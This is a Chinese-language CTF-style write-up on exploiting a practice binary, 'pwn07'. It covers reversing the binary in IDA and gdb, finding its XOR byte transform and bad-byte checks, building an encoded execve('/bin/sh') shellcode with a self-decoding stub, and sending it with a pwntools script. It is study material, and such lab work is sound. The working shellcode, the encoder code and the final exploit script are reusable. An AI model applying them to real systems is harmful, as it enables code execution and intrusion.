概述
本篇文章详细讲述了如何使用pwntools对程序进行栈溢出攻击。文中还用到了gcc/gdb,nasm,vscode,ida等等工具。
实验环境及配置
- 物理机
- CPU:AMD Ryzen 5 3600
- RAM:DDR4 16GB@3200Hz
- OS:Windows 11 Pro, 64-bit (Build 22621.1635) 10.0.22621
- GPU:Intel Arc A750
- Vmware:VMware Workstation 17 Pro 17.0.1 build-21139696
- 虚拟机
- CPU:1CPU*6Core
- RAM:8GB
- OS:Ubuntu 22.04LTS 64bit (Linux Kernel 5.19.0-41-generic)
目标文件名为pwn07
,其md5为76aa13266537c1d351e8a63ce48cd0da
。
由于Ubuntu版本较新。需要先关闭地址随机化:
echo 0 > /proc/sys/kernel/randomize_va_space # 需要root权限
0
表示地址随机化已经关闭。
文件分析
首先试着执行pwn07
。
随便输入一些数据,例如12345678。发现提示段错误。
使用dmesg
命令(sudo dmesg
)查看错误信息。
ldd
与checksec
命令的执行结果分别如下。此程序为32位程序。并且我们推断,程序没有显式导入任何外部函数。此外,程序没有开启PIE和栈保护相关功能。
首先安装IDA。若安装后双击没反应则可能是缺少包。在终端中运行IDA查看详细报错,然后安装丢失的包即可。(似乎是libxcb-xinerama0
记不清了)
使用IDA打开pwn07
(使用默认选项即可),忽略弹出警告或提示(例如,gnulux_x86找不到之类的)。
在其中找到字符串“Input your shellcode, Please\n.”,而后找到改字符串被引用的位置。
使用字符串“Input your shellcode, Please\n.”的函数的起始地址为0x080489A1
.在将字符串的地址压栈后,其调用了sub_806DC70
函数。显然,sub_806DC70
函数实现的是printf
相关的功能。
使用gdb工具调试pwn07
并在0x080489DB
处下断点(break *0x080489DB
)。(忽略gdb提示找不到符号表,这在我们的预料之中)命中断点后输入ni
,程序要求给出输入,由此我们可以推断sub_806DC70
函数实现了类似于scanf
相关功能。还应该注意到lea eax, [ebp+var_10C]
指令,这意味着scanf将输入存储到ebp+var_10C
地址处。即,我们的shellcode就是从ebp+var_10C
开始的。
那么,程序数如何实现这些功能的呢,我猜想它是使用了int 0x80
指令来执行系统调用。32位系统中的int 0x80
的汇编指令是0xcd 0x80
。使用IDA的搜索功能,结果如下:
果然,第二个结果表明程序确实使用了int 0x80
系统调用。这就表明,在编写shellcode时不能直接调用libc库。
call sub_80488F4
指令意义不明,但是通过push eax
我们知道它将shellcode的起始地址作为实参。
call eax
代表程序开始执行shellcode的内容,由于没有NX(不可执行),该指令是合法的。
综上我们利用IDA的调试功能在0x080489E6
处下断点改写栈的内容。
shellcode的构造
访问这个文档可以查看int80调用的约定。
SECTION .data
SECTION .text
global _start
_start:
mov eax, 1
mov ebx, 0
int 80h
我们先编写一个调用sys_exit
的汇编,使用以下命令生成32位的ELF文件:
nasm -f elf32 <filename> # 编译
ld -m elf_i386 <filename> -o <filename> # 链接
执行这个文件程序就会立即退出。
使用objdump
命令查看其机器码。
在0x080489EC
出下断点,使用IDA更改寄存器eax
所指向的栈的内容,将栈的内容修改为上图的机器码。而后在0x08048A01
出下断点,继续执行到该断点,发现栈的内容被改变(忽略SYMALERM信号,选discard就行)。可以推断,这与0x080489ED
地址处的call sub_80488F4
指令有关。
仔细研究call sub_80488F4
函数。v2
是一个循环变量,根据经验判断这个变量表明了栈中需要修改的字节数。而转换的法则就是:如果该字节小于等于0x80
就异或0x11
否则异或0x22
。
此外还有两个循环退出条件,我们反编译sub_80488CE
函数。
可以看到当转换前或转换后的内容包含0x00
或者0x0A
时,转换程序就会提前退出。
上述机器指令会调用execve
函数,参数为/bin/sh
。很显然这段代码无法直接执行,因为其包含0x00
刚才说过,如果转换后的代码包含0x00
转换会提前终止。
因此我们需要使用shellcode来为这个shellcode加密,而且用来加密的shellcode不能包含0x00
或者0x0A
。如下图所示:
在地址计算正确的情况下这段代码将原先shellcode的每条指令都异或了0x01
。
综上我们用到了两次加密,一次是为了应对“代码中不能出现0x00
或者0x0A
”这个条件,一次是为了处理“字节小于等于0x80
就异或0x11
否则异或0x22
“这个条件。由于该计算比较复杂,我们编写一段C#代码来进行计算。
namespace PWN07
{
internal class Program
{
private const byte mask = 0x12;
private static byte[] decodercode = new byte[] { 0x66, 0x31, 0xc9, 0xb1, 0x1E, 0x80, 0xb1, 0xf9, 0xcd, 0xff, 0xff, mask, 0xe2, 0xf7 };
private static byte[] nativeshellcode = new byte[] {
0xb8, 0x0b, 0x00, 0x00, 0x00,
0xbb, 0x10, 0xce, 0xff, 0xff,
0xb9, 0x00, 0x00, 0x00, 0x00,
0xba, 0x00, 0x00, 0x00, 0x00,
0xcd, 0x80,
0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};
static void Main(string[] args)
{
List<byte> targetBytes = new(decodercode.Length + nativeshellcode.Length);
targetBytes.AddRange(decodercode);
foreach (byte b in nativeshellcode)
{
byte s = (byte)(b ^ mask);
targetBytes.Add(s);
Console.Write(s.ToString("x2") + ' ');
}
Console.WriteLine();
foreach (byte targetByte in targetBytes)
{
for (byte answer = 0; answer < 255; ++answer)
{
byte x = (byte)(answer <= 0x80 ? answer ^ 0x11 : answer ^ 0x22);
if (x == targetByte)
{
Console.Write(answer.ToString("x2"));
Console.Write(' ');
}
}
if ((0xff ^ 0x22) == targetByte)
{
Console.Write(0xff.ToString("x2"));
}
Console.WriteLine();
}
}
}
}
这样我们就可以生成shellcode了,但是注意,因为地址是写死的,我们要正确计算输入的shellcode在程序中的地址。此外还要正确设置上述代码的mask变量来保证符合输入条件。
shellcode注入
安装python和pwntools。
from pwn import *
context.log_level='debug'ls
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p:process = process("./pwn07")
p.recvuntil(b'.')
gdb.attach(p, "break *0x080489ED") # FFFF CDF9
p.interactive()
使用以上代码计算寄存器ax
的值,即shellcode载入的位置。
地址为0xffffcdfc
。因此最终shellcode为。
77 20 eb 93 0f a2 93 18 ec dd dd 03 c0 d5 88 08 03 03 03 8b 23 fe cf cf 89 03 03 03 03 8a 03 03 03 03 fd b0 2c 61 6a 6d 2c 70 6b 03
在debug窗口显示程序切换成功。
最终python代码如下:
from pwn import *
# context.log_level='debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p:process = process("./pwn07")
p.recvuntil(b'.')
p.sendline(b"\x77\x20\xeb\x93\x0f\xa2\x93\x18\xec\xdd\xdd\x03\xc0\xd5\x88\x08\x03\x03\x03\x8b\x23\xfe\xcf\xcf\x89\x03\x03\x03\x03\x8a\x03\x03\x03\x03\xfd\xb0\x2c\x61\x6a\x6d\x2c\x70\x6b\x03")
p.interactive()